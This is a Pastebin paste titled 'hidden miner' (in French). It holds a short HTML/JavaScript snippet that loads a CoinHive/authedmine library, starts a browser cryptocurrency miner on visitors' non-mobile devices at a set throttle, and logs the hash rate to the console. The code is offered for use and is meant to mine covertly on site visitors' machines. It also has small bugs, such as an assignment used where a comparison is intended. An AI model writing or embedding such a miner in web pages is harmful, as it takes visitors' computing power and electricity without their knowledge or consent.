Advertisement
Zeldown

Mineur caché - CODE

May 26th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script src="https://authedmine.com/lib/authedmine.min.js"></script>
  2. <script>
  3.     var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});
  4.  
  5.     // Only start on non-mobile devices and if not opted-out
  6.     // in the last 14400 seconds (4 hours):
  7.     if (!miner.isMobile() && !miner.didOptOut(14400)) {
  8.         miner.start();
  9.     }
  10. </script>
  11. <script>
  12.     var state = true;
  13.     state == true;
  14.    
  15.     function setState(a){
  16.         this.state = a;
  17.         if(a = true){
  18.             miner.start()
  19.         }
  20.     }
  21.    
  22.     // Listen on events
  23.     miner.on('found', function() { /* Hash found */ })
  24.     miner.on('accepted', function() { /* Hash accepted by the pool */ })
  25.  
  26.     // Update stats once per second
  27.     setInterval(function() {
  28.         // Output to console...
  29.         if(state == true){
  30.             console.clear();
  31.             console.log("State : ON");
  32.             console.log("Total Hashes mined : " + miner.getTotalHashes());
  33.             console.log("H/s : " + miner.getHashesPerSecond());
  34.         }else{
  35.             miner.stop();
  36.             console.clear();
  37.             console.log("State : OFF");
  38.         }
  39.     }, 1000);
  40.    
  41.  
  42. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement